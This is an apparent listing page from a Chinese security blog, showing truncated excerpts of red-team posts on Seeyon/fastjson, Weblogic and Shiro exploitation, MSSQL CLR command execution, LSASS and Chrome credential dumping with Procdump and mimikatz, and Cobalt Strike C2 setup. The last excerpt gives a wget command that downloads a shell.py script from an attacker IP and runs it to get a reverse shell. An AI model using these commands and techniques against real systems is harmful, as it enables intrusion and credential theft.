致远伪0day -fastjson第三方jar包利用链
1.打开http://www.dnslog.cn/点击GetSubDomain按钮后，下方会出现一个域名。2.复制域名，在下方代码中替换。POST/seeyon/main.do?method=changeLocaleHTTP/1.1Host:xxx.xxx.xxx.xxxContent-Length
小技巧
mac Big Sur系统 mvn打包报错：No compiler is provided in this environment. Perhaps you are running on a JRE
转载来自：https://blog.csdn.net/w605283073/article/details/111770386一、背景最近将mac升级到BigSur版本，出现了个别奇奇怪怪的小问题。系统升级后执行mvn命令，总是出现以下错误：Nocompilerisprovidedinthisenv
「转」MSSQL CLR 执行命令
https://www.cnblogs.com/websecyw/p/11888947.html首先创建一个dll，dll的功能命令执行代码usingSystem;usingSystem.Data;usingSystem.Diagnostics;usingSystem.Data.SqlTypes;u
[转载]远程命令执行类漏洞传输Webshell或文件等多种方案
本文由简悦SimpRead转码，原文地址xiashang.xyz在红蓝对抗中，远程命令执行类漏洞往往是攻击方在正面路径中突破边界非常青睐的。常见的可以执行远程命令的漏洞的有各种JAVA反序列化漏洞、远程代码执行漏洞、远程命令执行漏洞（原生）、表达式执行漏洞、SQL注入漏洞等。远程命令执行类漏洞从漏洞
CVE-2020-14882 Weblogic 未授权 内存马
终于弄会了～我一个JAVA小白，代码只能理解，但是不会写！全靠copy。感谢宽字节potats0老哥！和奇安信Cheery老哥～放图：只实现了普通的一句话马，冰蝎马和蚁剑马还没弄好（蚁剑马有点小问题）遇到的问题：1.代码导出成Jar包：IDEA————>File————>ProjectS
T1003-win-明文-Procdump凭证转储.md
T1003-windows-Procdump明文凭证来自ATT&CK的描述凭证获取是从操作系统和软件中获取登录信息和密码的过程，通常为HASH散列或明文密码。然后使用凭证进行横向移动访问其他系统。用户登录系统后，会生成各种凭据并将其存储在内存中的本地安全机构子系统服务（LSASS）进程中。这
[转]使用mimikatz导出chrome密码
使用mimikatz导出chrome密码因为在拿到一台用户PC或者内网装有Chrome的服务器时，需要导出Chrome浏览器的密码。虽然市面上有很多软件可以使用，但是我发现，他们都是去默认路径下读取，如果用户将Chrome的Data数据保存在其他盘中的时候，并不能解密导出成功。所以就记录下如何使用m
CS合法证书+ps上线手把手示范
参考文档：CS合法证书+Powershell上线https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/首先，请宁打开您的购买域名的网站。添加a记录。然后，我要去freessl网站申请我买的dtgsiam.pw
Shiro反序列化无文件回显
今天突然看到一个项目发现很不错。https://github.com/j1anFen/ysoserial_echo支持：ApereoCAS4.1.X默认密钥Shirospring环境下回显Liferayprotal7.0以上本地复现环境Vulhub环境搭建git下来后，直接在ysoserial_ec
「Tips」命令执行无回显无法反弹shell的后续操作
我一般在遇到Java反序列化可以命令执行后，会选择用python的方式反弹shell。先wget下载wgethttp://123.123.123.123/shell.py-O/tmp/shell.py然后再执行python/tmp/shell.py这样一般不用去考虑符号带来的编码问题了。虽然要繁琐些